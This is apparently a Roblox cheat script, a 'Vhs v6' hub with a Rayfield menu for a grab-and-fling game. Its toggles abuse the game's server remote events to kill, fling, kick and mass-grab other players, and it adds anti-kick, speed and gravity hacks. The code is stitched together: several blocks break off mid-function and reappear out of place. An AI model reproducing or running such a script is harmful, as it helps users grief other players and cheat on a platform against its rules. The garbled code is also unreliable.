plr_kill1(prt, false)
end
end)
end
if clippp then
task.spawn(function()
local char = get_char(prt)
if char then
while gp.Parent and task.wait() do
for _,prt1 in pairs(char:GetChildren())
do
if prt1:IsA("Part") and
prt1.CanCollide then
create_blv(prt1, "ngrab",
true)
prt1.CanCollide = false
end
end
end
for _,prt1 in pairs(char:GetChildren()) do
if prt1:IsA("Part") and
prt1:FindFirstChild("ngrab") then
prt1.CanCollide = true
prt1.ngrab:Destroy()
end
end
end
end)
end
end
end)
S.w.ChildAdded:Connect(function(model)--neon
if model.Name == "GrabParts" and ultragrabbb then
S.w.GrabParts.DragPart.Color = Color3.fromRGB(255,0,0)
S.w.GrabParts.DragPart.Transparency = 0
S.w.GrabParts.DragPart.Material = "Neon"
model.DragPart.AlignOrientation.Responsiveness = 200
model.DragPart.AlignOrientation.MaxTorque = "inf"
model.DragPart.AlignPosition.MaxAxesForce =
Vector3.new("inf","inf","inf")
model.DragPart.AlignPosition.MaxForce = "inf"
model.DragPart.AlignPosition.Responsiveness = 200
end
end)
S.w.ChildAdded:Connect(function(model)
if model.Name == "Part" and O.me.Character and antiexpl then
local mag = (model.Position -
O.me.Character.HumanoidRootPart.Position).Magnitude
if mag <= 18 then
anch_plr()
end
end
end)
S.w.DescendantAdded:Connect(function(toy)
if toy.Name == "CreatureBlobman" and toy.Parent ~= O.backpack and
antiblob then
task.wait()
wait_load2(toy, {"LeftDetector","AttachPlayer"}):Destroy()
wait_load2(toy, {"RightDetector","AttachPlayer"}):Destroy()
end
end)
S.w.PlotItems.Plot1.ChildAdded:Connect(function(toy)
if toy.Name == "PlantPottedCactus" then
task.wait()
toy:Destroy()
end
end)
S.w.PlotItems.Plot2.ChildAdded:Connect(function(toy)
if toy.Name == "PlantPottedCactus" then
task.wait()
toy:Destroy()
end
end)
S.w.PlotItems.Plot3.ChildAdded:Connect(function(toy)
if toy.Name == "PlantPottedCactus" then
task.wait()
toy:Destroy()
end
end)
S.w.PlotItems.Plot4.ChildAdded:Connect(function(toy)
if toy.Name == "PlantPottedCactus" then
task.wait()
toy:Destroy()
end
end)
S.w.PlotItems.Plot5.ChildAdded:Connect(function(toy)
if toy.Name == "PlantPottedCactus" then
task.wait()
toy:Destroy()
end
end)
S.w.PlotItems.PlayersInPlots.ChildAdded:Connect(function(plr)--anti dom
if plr ~= O.me and check_prem(plr.Name) then
task.wait()
plr.Parent = O.chars
end
end)
O.me.CharacterAdded:Connect(function()
typingAnimation = Instance.new("Animation")
typingAnimation.AnimationId = "rbxassetid://18353618958"
typingAnimator =
O.me.Character:WaitForChild("Humanoid"):WaitForChild("Animator")
typingTrack = typingAnimator:LoadAnimation(typingAnimation)
crouchAnimation = Instance.new("Animation")
crouchAnimation.AnimationId = "rbxassetid://6980229055"
crouchAnimator =
O.me.Character:WaitForChild("Humanoid"):WaitForChild("Animator")
crouchTrack = crouchAnimator:LoadAnimation(crouchAnimation)
throwedAnimation = Instance.new("Animation")
throwedAnimation.AnimationId = "rbxassetid://7047322890"
throwedAnimator =
O.me.Character:WaitForChild("Humanoid"):WaitForChild("Animator")
throwedTrack = throwedAnimator:LoadAnimation(throwedAnimation)
end)
S.UIS.InputChanged:Connect(function(inp)
if inp.UserInputType == Enum.UserInputType.MouseWheel and zgt then
local v1 = S.w:FindFirstChild("GrabParts"); if v1 then
if inp.Position.Z == 1 then N.zgv = N.zgv + 3 else N.zgv =
N.zgv - 3 end
else N.zgv = 0 end
end
end)
S.Players.PlayerAdded:Connect(function(p)
p.Chatted:Connect(function(msg)
chat_msg(p,msg)
end)
end)
--GUI--
local Window = Rayfield:CreateWindow({
Name = "Vhs v6 (Made By Jose /verbal hub)",
Icon = 0,
LoadingTitle = "Vhs V6",
LoadingSubtitle = "By Jose",
Theme = "Default",
DisableRayfieldPrompts = false,
DisableBuildWarnings = false,
ConfigurationSaving = {
Enabled = true,
FolderName = nil,
FileName = "vhs v6"
},
Discord = {
Enabled = false,
Invite = "noinvitelink",
RememberJoins = true
},
KeySystem = false,
KeySettings = {
Title = "Untitled",
Subtitle = "Key System",
Note = "No method of obtaining the key is provided",
FileName = "Key",
SaveKey = true,
GrabKeyFromSite = false,
Key = {"Hello"}
}
})
if L.vhsows then
local debugtab = Window:CreateTab("Debug", 7743876054)
debugtab:CreateSection("Target")
debugtab:CreateToggle({
Name = "Can Query",
CurrentValue = false,
Flag = "debugtabCanQuery",
Callback = function(Value)
for _,obj in pairs(S.w:GetDescendants()) do
if obj:IsA("Part") then
if
not(obj:FindFirstChild("debugcanquery")) then
local bv =
Instance.new("BoolValue", obj)
bv.Value = obj.CanQuery
bv.Name = "debugcanquery"
obj.CanQuery = true
else
local v1 =
obj:FindFirstChild("debugcanquery"); if v1 then
obj.CanQuery = v1.Value
v1:Destroy()
end
end
end
end
end,
})
debugtab:CreateKeybind({
Name = "Target Parents",
CurrentKeybind = "",
HoldToInteract = false,
Flag = "debugTargetParents",
Callback = function(Keybind)
debugl:Set(con_TtoS(get_parents(O.mouse.target)))
end,
})
debugtab:CreateToggle({
Name = "debug",
CurrentValue = false,
Flag = "debugtabdebug",
Callback = function(Value)
L.debug = Value
end,
})
end
local usertab = Window:CreateTab("User Functions", 7743876054)
usertab:CreateSection("Strenght")
local ss = usertab:CreateSlider({
Name = "Strenght Slider",
Range = {-1600, 1600},
Increment = 10,
Suffix = "(400 Optimal)",
CurrentValue = 400,
Flag = "StrenghtSlider",
Callback = function(Value)
N.strength = Value
end,
})
usertab:CreateInput({
Name = "Strenght Input",
PlaceholderText = "Type Strenght Value",
RemoveTextAfterFocusLost = false,
Callback = function(Text)
ss:Set(Text)
N.strength = Text
end,
})
usertab:CreateKeybind({
Name = "Strenght Toggle Bind",
CurrentKeybind = "",
HoldToInteract = false,
Flag = "StrenghtToggleBind",
Callback = function(Keybind)
fstatus("Strenght Toggle".." is a "..(not(sila) and "En" or
"Dis").."abled")
StrenghtToggle:Set(not(sila))
end,
})
usertab:CreateSection("Protections")
usertab:CreateDropdown({
Name = "Function after Anti Grab",
Options = {"nothing","grab","tp to spawn","fling","kill"},
CurrentOption = {""},
MultipleOptions = false,
Flag = "FunctionafterAntiGrab",
Callback = function(Option)
local temp = ""; for _,t in pairs(Option) do temp = temp..t
end
if temp == "grab" then
After_AG = function(char)
invis_touch(char.HumanoidRootPart)
end
elseif temp == "tp to spawn" then
After_AG = function(char)
fling_plr_a(char.Head)
end
elseif temp == "fling" then
After_AG = function(char)
fling2_plr_a(char.Head)
end
elseif temp == "kill" then
After_AG = function(char)
kill_plr_a(char.Head)
end
elseif temp == "nothing" then
After_AG = function(...) end
end
end,
})
v3.ExtinguishPart.Position = O.me.Character.HumanoidRootPart.Position
task.wait()
v3.ExtinguishPart.Position = save
end
O.backpack.FireExtinguisher.ExtinguishPart.Position = save
elseif not(O.me.InPlot.Value) and
O.me.CanSpawnToy.Value then
task.spawn(toy_spawn2,
"FireExtinguisher")
while
O.backpack:FindFirstChild("FireExtinguisher") == nil do task.wait() end
end
end
end
end
task.wait()
end
end,
})
else
O.Events.DestroyToyEvent:FireServer(v1);task.wait() ; f() end
else
O.Events.DestroyToyEvent:FireServer(v1);task.wait() ; f() end
else
O.Events.DestroyToyEvent:FireServer(v1);task.wait() ; f() end
task.spawn(toy_spawn2,"NinjaKunai")
while
not(O.backpack:FindFirstChild("NinjaKunai")) do task.wait() end
local v8 =
O.backpack:FindFirstChild("NinjaKunai").StickyPart
local v9 = v8.StickyWeld
auto_invis_touch(v8, v7)
while v9.Part1 == nil do
O.Events.StickyPartEvent:FireServer(v8,v5,CFrame.new(0.0490287527, -
0.000000000000000, 0.00000000, -0.00000000, 0.00739139877, -0.999561906, -
0.998452604, -0.0478846952, 0.0282763243, -0.0476547107, 0.99882561, 0.00000000000)
* CFrame.Angles(0, 180, 0))
task.wait()
end
elseif O.me.InPlot.Value then lastt
= true end
end
end
end
end
local lastt = false
while antikick do
f()
task.wait()
end
end,
})
usertab:CreateSection("Protections Binds")
usertab:CreateKeybind({
Name = "Anti Grab Bind",
CurrentKeybind = "",
HoldToInteract = false,
Flag = "AntiGrabBind",
Callback = function(Keybind)
fstatus("Anti Grab".." is a "..(not(antiGrabToggle) and
"En" or "Dis").."abled")
AntiGrab:Set(not(antiGrabToggle))
end,
})
usertab:CreateKeybind({
Name = "Anti Grab Loop Bind",
CurrentKeybind = "",
HoldToInteract = false,
Flag = "AntiGrabLoopBind",
Callback = function(Keybind)
fstatus("Anti Grab Loop".." is a "..(not(antigrabloop) and
"En" or "Dis").."abled")
AntiGrabLoop:Set(not(antigrabloop))
end,
})
usertab:CreateKeybind({
Name = "Anti Grab Tp Bind",
CurrentKeybind = "",
HoldToInteract = false,
Flag = "AntiGrabTpBind",
Callback = function(Keybind)
fstatus("Anti Grab Tp".." is a "..(not(antigrabtp) and "En"
or "Dis").."abled")
AntiGrabTp:Set(not(antigrabtp))
end,
})
usertab:CreateKeybind({
Name = "Anti Blob Kick Bind",
CurrentKeybind = "",
HoldToInteract = false,
Flag = "AntiBlobKickBind",
Callback = function(Keybind)
fstatus("Anti Blob Kick".." is a "..(not(antiblob) and "En"
or "Dis").."abled")
AntiBlobKick:Set(not(antiblob))
end,
})
usertab:CreateKeybind({
Name = "Anti Explosion Bind",
CurrentKeybind = "",
HoldToInteract = false,
Flag = "AntiExplosionBind",
Callback = function(Keybind)
fstatus("Anti Explosion".." is a "..(not(antiexpl) and "En"
or "Dis").."abled")
AntiExplosion:Set(not(antiexpl))
end,
})
usertab:CreateKeybind({
Name = "Anti Burn Bind",
CurrentKeybind = "",
HoldToInteract = false,
Flag = "AntiBurnBind",
Callback = function(Keybind)
fstatus("Anti Burn".." is a "..(not(antiburn) and "En" or
"Dis").."abled")
AntiBurn:Set(not(antiburn))
end,
})
usertab:CreateKeybind({
Name = "Anti Kick Bind",
CurrentKeybind = "",
HoldToInteract = false,
Flag = "AntiKickBind",
Callback = function(Keybind)
fstatus("Anti Kick".." is a "..(not(antikick) and "En" or
"Dis").."abled")
AntiKick:Set(not(antikick))
end,
})
usertab:CreateKeybind({
Name = "Anti Void Bind",
CurrentKeybind = "",
HoldToInteract = false,
Flag = "AntiVoidBind",
Callback = function(Keybind)
fstatus("Anti Void".." is a "..(not(antivoid) and "En" or
"Dis").."abled")
AntiVoid:Set(not(antivoid))
end,
})
usertab:CreateKeybind({
Name = "Water Walk Bind",
CurrentKeybind = "",
HoldToInteract = false,
Flag = "WaterWalkBind",
Callback = function(Keybind)
local v1 =
O.m.AlwaysHereTweenedObjects.Ocean.Object.ObjectModel
local t = not(v1.Ocean.CanCollide)
fstatus("Water Walk".." is a "..(not(t) and "En" or
"Dis").."abled")
WaterWalk:Set(not(t))
end,
})
usertab:CreateKeybind({
Name = "Anti Seat Reset Bind",
CurrentKeybind = "",
HoldToInteract = false,
Flag = "AntiSeatResetBind",
Callback = function(Keybind)
fstatus("Anti Seat Reset".." is a "..(not(antiseat) and
"En" or "Dis").."abled")
AntiSeatReset:Set(not(antiseat))
end,
})
usertab:CreateKeybind({
Name = "Anti Lag Bind",
CurrentKeybind = "",
HoldToInteract = false,
Flag = "AntiLagBind",
Callback = function(Keybind)
fstatus("Anti Lag".." is a "..(not(AntiLaggg) and "En" or
"Dis").."abled")
AntiLag:Set(not(AntiLaggg))
end,
})
usertab:CreateSection("Animations")
usertab:CreateToggle({
Name = "Play Typing Animation",
CurrentValue = false,
Flag = "PlayTypingAnimation",
Callback = function(Value)
if Value then
typingTrack:Play()
else
typingTrack:Stop()
end
end,
})
usertab:CreateToggle({
Name = "Fly Crouch",
CurrentValue = false,
Flag = "FlyCrouch",
Callback = function(Value)
if Value then
crouchTrack:Play()
else
crouchTrack:Stop()
end
end,
})
usertab:CreateToggle({
Name = "Throwed Animation",
CurrentValue = false,
Flag = "ThrowedAnimation",
Callback = function(Value)
if Value then
throwedTrack:Play()
else
throwedTrack:Stop()
end
end
})
usertab:CreateSection("Walk Speed")
O.me.Character:WaitForChild("HumanoidRootPart").CFrame =
O.me.Character:WaitForChild("HumanoidRootPart").CFrame +
O.me.Character:WaitForChild("Humanoid").MoveDirection * (N.wss/10)
end
end
task.wait()
end
if O.me.Character ~= nil then
if O.me.Character.Humanoid ~= nil then
O.me.Character.Humanoid.WalkSpeed = 16
end
end
end,
})
usertab:CreateSlider({
Name = "Walk Speed Slider",
Range = {0, 300},
Increment = 1,
Suffix = "(5 Optimal)",
CurrentValue = 5,
Flag = "WalkSpeedSlider",
Callback = function(Value)
N.wss = Value
end,
})
usertab:CreateKeybind({
Name = "Walk Speed Bind",
CurrentKeybind = "",
HoldToInteract = false,
Flag = "WalkSpeedBind",
Callback = function(Keybind)
fstatus("Walk Speed".." is a "..(not(wst) and "En" or
"Dis").."abled")
WalkSpeedToggle:Set(not(wst))
end,
})
usertab:CreateSection("Jump Power")
usertab:CreateToggle({
Name = "Inf Jump",
CurrentValue = false,
Flag = "InfJump",
Callback = function(Value)
infj = Value
end,
})
usertab:CreateSlider({
Name = "Jump Power Slider",
Range = {0, 500},
Increment = 10,
Suffix = "(50 Optimal)",
CurrentValue = 50,
Flag = "JumpPowerSlider",
Callback = function(Value)
N.jps = Value
end,
})
usertab:CreateKeybind({
Name = "Jump Power Bind",
CurrentKeybind = "",
HoldToInteract = false,
Flag = "JumpPowerBind",
Callback = function(Keybind)
fstatus("Jump Power".." is a "..(not(jpt) and "En" or
"Dis").."abled")
JumpPowerToggle:Set(not(jpt))
end,
})
usertab:CreateSection("Gravity")
usertab:CreateSlider({
Name = "Gravity Slider",
Range = {0, 1000},
Increment = 10,
Suffix = "",
CurrentValue = 100,
Flag = "GravitySlider",
Callback = function(Value)
N.gs = Value
end,
})
usertab:CreateKeybind({
Name = "Gravity Bind",
CurrentKeybind = "",
HoldToInteract = false,
Flag = "GravityBind",
Callback = function(Keybind)
fstatus("Gravity".." is a "..(not(gt) and "En" or
"Dis").."abled")
GravityToggle:Set(not(gt))
end,
})
grabtab:CreateKeybind({
Name = "Poison Grab Bind",
CurrentKeybind = "",
HoldToInteract = false,
Flag = "PoisonGrabBind",
Callback = function(Keybind)
fstatus("Poison Grab".." is a "..(not(poison) and "En" or
"Dis").."abled")
PoisonGrab:Set(not(poison))
end,
})
grabtab:CreateKeybind({
Name = "Radioactive Grab Bind",
CurrentKeybind = "",
HoldToInteract = false,
Flag = "RadioactiveGrabBind",
Callback = function(Keybind)
fstatus("Radioactive Grab".." is a "..(not(radiactive) and
"En" or "Dis").."abled")
RadioactiveGrab:Set(not(radiactive))
end,
})
-- grabtab:CreateKeybind({
-- Name = "Burn Grab Bind",
-- CurrentKeybind = "",
-- HoldToInteract = false,
-- Flag = "BurnGrabBind",
-- Callback = function(Keybind)
-- fstatus("Burn Grab".." is a "..(not(fire) and "En" or
"Dis").."abled")
-- BurnGrab:Set(not(fire))
-- end,
-- })
grabtab:CreateKeybind({
Name = "Kill Grab Bind",
CurrentKeybind = "",
HoldToInteract = false,
Flag = "KillGrabBind",
Callback = function(Keybind)
fstatus("Kill Grab".." is a "..(not(killg) and "En" or
"Dis").."abled")
KillGrab:Set(not(killg))
end,
})
grabtab:CreateKeybind({
Name = "Noclip Grab Bind",
CurrentKeybind = "",
HoldToInteract = false,
Flag = "NoclipGrabBind",
Callback = function(Keybind)
fstatus("Noclip Grab".." is a "..(not(clippp) and "En" or
"Dis").."abled")
NoclipGrab:Set(not(clippp))
end,
})
grabtab:CreateKeybind({
Name = "Crazy Grab Bind",
CurrentKeybind = "",
HoldToInteract = false,
Flag = "CrazyGrabBind",
Callback = function(Keybind)
fstatus("Crazy Grab".." is a "..(not(kickkk1) and "En" or
"Dis").."abled")
CrazyGrab:Set(not(kickkk1))
end,
})
grabtab:CreateKeybind({
Name = "Sky Grab Bind",
CurrentKeybind = "",
HoldToInteract = false,
Flag = "SkyGrabBind",
Callback = function(Keybind)
fstatus("Sky Grab".." is a "..(not(kickkk2) and "En" or
"Dis").."abled")
SkyGrab:Set(not(kickkk2))
end,
})
grabtab:CreateKeybind({
Name = "Ultra Grab Bind",
CurrentKeybind = "",
HoldToInteract = false,
Flag = "UltraGrabBind",
Callback = function(Keybind)
fstatus("Ultra Grab".." is a "..(not(ultragrabbb) and "En"
or "Dis").."abled")
UltraGrab:Set(not(ultragrabbb))
end,
})
grabtab:CreateKeybind({
Name = "Ultra Click Grab Bind",
CurrentKeybind = "",
HoldToInteract = false,
Flag = "UltraClickGrabBind",
Callback = function(Keybind)
fstatus("Ultra Click Grab".." is a "..(not(ultraclickgrab)
and "En" or "Dis").."abled")
UltraClickGrab:Set(not(ultraclickgrab))
end,
})
-- grabtab:CreateKeybind({
-- Name = "Kick Grab Bind",
-- CurrentKeybind = "",
-- HoldToInteract = false,
-- Flag = "KickGrabGrabBind",
-- Callback = function(Keybind)
-- fstatus("Kick Grab".." is a "..(not(kickgrab) and "En" or
"Dis").."abled")
-- KickGrab:Set(not(kickgrab))
-- end,
-- })
grabtab:CreateToggle({
Name = "Invisble Line",
CurrentValue = false,
Flag = "InvisbleLine",
Callback = function(Value)
invisline = Value
while invisline do
O.Events.CreateGrabEvent:FireServer()
task.wait()
end
end,
})
grabtab:CreateToggle({
Name = "Extend Line",
CurrentValue = false,
Flag = "ExtendLine",
Callback = function(Value)
extende = Value
while extende do
O.Events.ExtendLineEvent:FireServer(1000000)
task.wait()
end
end,
})
grabtab:CreateToggle({
Name = "Crazy Line(Grab All Players)",
CurrentValue = false,
Flag = "CrazyLine",
Callback = function(Value)
crazyline = Value
while crazyline do
for _,plr in ipairs(S.Players:GetPlayers()) do
local v1 = plr.Character; if v1 then
local v2 = v1:FindFirstChild("Head"); if
v2 then
O.Events.CreateGrabEvent:FireServer(v2, v2.CFrame)
task.wait()
end
end
end
end
end,
})
grabtab:CreateToggle({
Name = "Crazy Line(Grab All Parts)",
CurrentValue = false,
Flag = "CrazyLine2",
Callback = function(Value)
crazyline2 = Value
while crazyline2 do
for _,prt in pairs(O.m:GetDescendants()) do
if prt:IsA("Part") and crazyline2 then
O.Events.CreateGrabEvent:FireServer(prt, prt.CFrame); task.wait() end
end
end
end,
})
grabtab:CreateToggle({
Name = "Crazy Line(Grab All Toys)",
CurrentValue = false,
Flag = "CrazyLine3",
Callback = function(Value)
crazyline3 = Value
while crazyline3 do
for _,plr in ipairs(S.Players:GetPlayers()) do
for _,toy in
pairs(S.w[plr.Name.."SpawnedInToys"]:GetChildren()) do
for _,prt in pairs(toy:GetChildren()) do
if prt:IsA("Part") and crazyline3
then O.Events.CreateGrabEvent:FireServer(prt, prt.CFrame); task.wait() end
end
end
end
end
end,
})
grabtab:CreateToggle({
Name = "Loop Random Line Color",
CurrentValue = false,
Flag = "LoopRandomLineColor",
Callback = function(Value)
rgb = Value
local save = O.me.BeamColor.ColorSequenceHolder.Color
while rgb do
if N.linecolorscount == 1 then
O.Events.SetLineColorEvent:FireServer(ColorSequence.new(Color3.fromRGB(math.random(
0, 255), math.random(0, 255), math.random(0, 255))))
task.wait()
elseif N.linecolorscount == 2 then
O.Events.SetLineColorEvent:FireServer(ColorSequence.new{ColorSequenceKeypoint.new(0
, Color3.fromRGB(math.random(0, 255), math.random(0, 255), math.random(0, 255))),
ColorSequenceKeypoint.new(1, Color3.fromRGB(math.random(0, 255), math.random(0,
255), math.random(0, 255)))})
task.wait()
elseif N.linecolorscount == 20 then
local args = {
[1] = ColorSequence.new{
ColorSequenceKeypoint.new(0,
Color3.fromRGB(math.random(0, 255), math.random(0, 255), math.random(0, 255))),
ColorSequenceKeypoint.new(0.05,
Color3.fromRGB(math.random(0, 255), math.random(0, 255), math.random(0, 255))),
ColorSequenceKeypoint.new(0.10,
Color3.fromRGB(math.random(0, 255), math.random(0, 255), math.random(0, 255))),
ColorSequenceKeypoint.new(0.15,
Color3.fromRGB(math.random(0, 255), math.random(0, 255), math.random(0, 255))),
ColorSequenceKeypoint.new(0.20,
Color3.fromRGB(math.random(0, 255), math.random(0, 255), math.random(0, 255))),
ColorSequenceKeypoint.new(0.25,
Color3.fromRGB(math.random(0, 255), math.random(0, 255), math.random(0, 255))),
ColorSequenceKeypoint.new(0.30,
Color3.fromRGB(math.random(0, 255), math.random(0, 255), math.random(0, 255))),
ColorSequenceKeypoint.new(0.35,
Color3.fromRGB(math.random(0, 255), math.random(0, 255), math.random(0, 255))),
ColorSequenceKeypoint.new(0.40,
Color3.fromRGB(math.random(0, 255), math.random(0, 255), math.random(0, 255))),
ColorSequenceKeypoint.new(0.45,
Color3.fromRGB(math.random(0, 255), math.random(0, 255), math.random(0, 255))),
ColorSequenceKeypoint.new(0.50,
Color3.fromRGB(math.random(0, 255), math.random(0, 255), math.random(0, 255))),
ColorSequenceKeypoint.new(0.55,
Color3.fromRGB(math.random(0, 255), math.random(0, 255), math.random(0, 255))),
ColorSequenceKeypoint.new(0.60,
Color3.fromRGB(math.random(0, 255), math.random(0, 255), math.random(0, 255))),
ColorSequenceKeypoint.new(0.65,
Color3.fromRGB(math.random(0, 255), math.random(0, 255), math.random(0, 255))),
ColorSequenceKeypoint.new(0.70,
Color3.fromRGB(math.random(0, 255), math.random(0, 255), math.random(0, 255))),
ColorSequenceKeypoint.new(0.75,
Color3.fromRGB(math.random(0, 255), math.random(0, 255), math.random(0, 255))),
ColorSequenceKeypoint.new(0.80,
Color3.fromRGB(math.random(0, 255), math.random(0, 255), math.random(0, 255))),
ColorSequenceKeypoint.new(0.85,
Color3.fromRGB(math.random(0, 255), math.random(0, 255), math.random(0, 255))),
ColorSequenceKeypoint.new(0.90,
Color3.fromRGB(math.random(0, 255), math.random(0, 255), math.random(0, 255))),
ColorSequenceKeypoint.new(1,
Color3.fromRGB(math.random(0, 255), math.random(0, 255), math.random(0, 255)))
}
}
O.Events.SetLineColorEvent:FireServer(unpack(args))
task.wait()
else
local colors = {ColorSequenceKeypoint.new(0,
Color3.fromRGB(math.random(0, 255), math.random(0, 255), math.random(0, 255)))}
for colorscount=0, N.linecolorscount do
if colorscount ~= 1 then
if colorscount ~= N.linecolorscount
then
table.insert(colors,
ColorSequenceKeypoint.new(1/N.linecolorscount*colorscount,
Color3.fromRGB(math.random(0, 255), math.random(0, 255), math.random(0, 255))))
else
table.insert(colors,
ColorSequenceKeypoint.new(1, Color3.fromRGB(math.random(0, 255), math.random(0,
255), math.random(0, 255))))
end
end
end
O.Events.SetLineColorEvent:FireServer(ColorSequence.new(colors))
task.wait()
end
end
O.Events.SetLineColorEvent:FireServer(save)
end,
})
grabtab:CreateSlider({
Name = "Line Colors Count Slider",
Range = {1, 20},
Increment = 1,
Suffix = "",
CurrentValue = 2,
Flag = "LineColorsCountSlider",
Callback = function(Value)
N.linecolorscount = Value
end,
})
grabtab:CreateColorPicker({
Name = "Line Color 1",
Color = Color3.fromRGB(0,0,0),
Callback = function(Value)
Lt.ccolors[1] = Value
set_line_color()
end
})
grabtab:CreateColorPicker({
Name = "Line Color 2",
Color = Color3.fromRGB(0,0,0),
Callback = function(Value)
Lt.ccolors[2] = Value
set_line_color()
end
})
grabtab:CreateColorPicker({
Name = "Line Color 3",
Color = Color3.fromRGB(0,0,0),
Callback = function(Value)
Lt.ccolors[3] = Value
set_line_color()
end
})
grabtab:CreateColorPicker({
Name = "Line Color 4",
Color = Color3.fromRGB(0,0,0),
Callback = function(Value)
Lt.ccolors[4] = Value
set_line_color()
end
})
grabtab:CreateColorPicker({
Name = "Line Color 5",
Color = Color3.fromRGB(0,0,0),
Callback = function(Value)
Lt.ccolors[5] = Value
set_line_color()
end
})
grabtab:CreateColorPicker({
Name = "Line Color 6",
Color = Color3.fromRGB(0,0,0),
Callback = function(Value)
Lt.ccolors[6] = Value
set_line_color()
end
})
grabtab:CreateColorPicker({
Name = "Line Color 7",
Color = Color3.fromRGB(0,0,0),
Callback = function(Value)
Lt.ccolors[7] = Value
set_line_color()
end
})
grabtab:CreateColorPicker({
Name = "Line Color 8",
Color = Color3.fromRGB(0,0,0),
Callback = function(Value)
Lt.ccolors[8] = Value
set_line_color()
end
})
grabtab:CreateColorPicker({
Name = "Line Color 9",
Color = Color3.fromRGB(0,0,0),
Callback = function(Value)
Lt.ccolors[9] = Value
set_line_color()
end
})
grabtab:CreateColorPicker({
Name = "Line Color 10",
Color = Color3.fromRGB(0,0,0),
Callback = function(Value)
Lt.ccolors[10] = Value
set_line_color()
end
})
grabtab:CreateColorPicker({
Name = "Line Color 11",
Color = Color3.fromRGB(0,0,0),
Callback = function(Value)
Lt.ccolors[11] = Value
set_line_color()
end
})
grabtab:CreateColorPicker({
Name = "Line Color 12",
Color = Color3.fromRGB(0,0,0),
Callback = function(Value)
Lt.ccolors[12] = Value
set_line_color()
end
})
grabtab:CreateColorPicker({
Name = "Line Color 13",
Color = Color3.fromRGB(0,0,0),
Callback = function(Value)
Lt.ccolors[13] = Value
set_line_color()
end
})
grabtab:CreateColorPicker({
Name = "Line Color 14",
Color = Color3.fromRGB(0,0,0),
Callback = function(Value)
Lt.ccolors[14] = Value
set_line_color()
end
})
grabtab:CreateColorPicker({
Name = "Line Color 15",
Color = Color3.fromRGB(0,0,0),
Callback = function(Value)
Lt.ccolors[15] = Value
set_line_color()
end
})
grabtab:CreateColorPicker({
Name = "Line Color 16",
Color = Color3.fromRGB(0,0,0),
Callback = function(Value)
Lt.ccolors[16] = Value
set_line_color()
end
})
grabtab:CreateColorPicker({
Name = "Line Color 17",
Color = Color3.fromRGB(0,0,0),
Callback = function(Value)
Lt.ccolors[17] = Value
set_line_color()
end
})
grabtab:CreateColorPicker({
Name = "Line Color 18",
Color = Color3.fromRGB(0,0,0),
Callback = function(Value)
Lt.ccolors[18] = Value
set_line_color()
end
})
grabtab:CreateColorPicker({
Name = "Line Color 19",
Color = Color3.fromRGB(0,0,0),
Callback = function(Value)
Lt.ccolors[19] = Value
set_line_color()
end
})
grabtab:CreateColorPicker({
Name = "Line Color 20",
Color = Color3.fromRGB(0,0,0),
Callback = function(Value)
Lt.ccolors[20] = Value
set_line_color()
end
})
blobtab:CreateSection("Basic Functions")
blobtab:CreateToggle({
Name = "Left Hand Kick",
CurrentValue = false,
Callback = function(Value)
lhk = Value
local blobs = {}
task.spawn(function()
while lhk and task.wait(1) do
blobs = {}
for _,bcpk in pairs(O.backpacks:GetChildren())
do
for _,toy in pairs(bcpk:GetChildren()) do
if toy.Name == "CreatureBlobman"
then
local name =
bcpk.plr_name.Value
if
S.Players:FindFirstChild(name) and check_rank(S.Players[name]) and
not(check_list(blobs, toy)) then
table.insert(blobs, toy)
end
end
end
end
end
end)
while lhk and task.wait() do
local hrp, hum = get_all()
if hrp and hum and check_hum(hum) then
local sp = hum.SeatPart
if sp and sp.Parent.Name == "CreatureBlobman"
then
local blob = sp.Parent
for _,plr in pairs(P.lplr) do
if S.Players:FindFirstChild(plr)
then
plr = S.Players[plr]
local hrp1, hum1 =
get_all1(plr)
if hrp1 and hum1 and
check_hum(hum1) then
blob_kick(blob,hrp1,"Right",1)
if ksm then
task.delay(blob_kick, blob, hrp1, "Right", 1) end
if twohand then
blob_kick(blob,hrp1,"Left",1)
if ksm then
task.delay(blob_kick, blob, hrp1, "Left", 1) end
end; if allblobs then
for _,blob in
pairs(blobs) do
blob_kick(blob,hrp1,"Right",1)
if ksm then
task.delay(blob_kick, blob, hrp1, "Right", 1) end
if twohand
then
blob_kick(blob,hrp1,"Left",1)
if ksm
then task.delay(blob_kick, blob, hrp1, "Left", 1) end
end
end
end; if not(ik) then
task.wait((10-N.ks)/10) end
end
end
end
end
end
end
end,
})
blobtab:CreateToggle({
Name = "Right Hand Kick",
CurrentValue = false,
Callback = function(Value)
rhk = Value
local blobs = {}
task.spawn(function()
while rhk and task.wait(1) do
blobs = {}
for _,bcpk in pairs(O.backpacks:GetChildren())
do
for _,toy in pairs(bcpk:GetChildren()) do
if toy.Name == "CreatureBlobman"
then
local name =
bcpk.plr_name.Value
if
S.Players:FindFirstChild(name) and check_rank(S.Players[name]) and
not(check_list(blobs, toy)) then
table.insert(blobs, toy)
end
end
end
end
end
end)
while rhk and task.wait() do
local hrp, hum = get_all()
if hrp and hum and check_hum(hum) then
local sp = hum.SeatPart
if sp and sp.Parent.Name == "CreatureBlobman"
then
local blob = sp.Parent
for _,plr in pairs(P.lplr) do
if S.Players:FindFirstChild(plr)
then
plr = S.Players[plr]
local hrp1, hum1 =
get_all1(plr)
if hrp1 and hum1 and
check_hum(hum1) then
blob_kick(blob,hrp1,"Left",1)
if ksm then
task.delay(blob_kick, blob, hrp1, "Left", 1) end
if twohand then
blob_kick(blob,hrp1,"Right",1)
if ksm then
task.delay(blob_kick, blob, hrp1, "Right", 1) end
end; if allblobs then
for _,blob in
pairs(blobs) do
blob_kick(blob,hrp1,"Left",1)
if ksm then
task.delay(blob_kick, blob, hrp1, "Left", 1) end
if twohand
then
blob_kick(blob,hrp1,"Right",1)
if ksm
then task.delay(blob_kick, blob, hrp1, "Right", 1) end
end
end
end; if not(ik) then
task.wait((10-N.ks)/10) end
end
end
end
end
end
end
end,
})
blobtab:CreateToggle({
Name = "Kick all",
CurrentValue = false,
Callback = function(Value)
ka = Value
local blobs = {}
task.spawn(function()
while ka and task.wait(1) do
blobs = {}
for _,bcpk in pairs(O.backpacks:GetChildren())
do
for _,toy in pairs(bcpk:GetChildren()) do
if toy.Name == "CreatureBlobman"
then
local name =
bcpk.plr_name.Value
if
S.Players:FindFirstChild(name) and check_rank(S.Players[name]) and
not(check_list(blobs, toy)) then
table.insert(blobs, toy)
end
end
end
end
end
end)
while ka and task.wait() do
local hrp, hum = get_all()
if hrp and hum and check_hum(hum) then
local sp = hum.SeatPart
if sp and sp.Parent.Name == "CreatureBlobman"
then
local blob = sp.Parent
for _,plr in
ipairs(S.Players:GetPlayers()) do
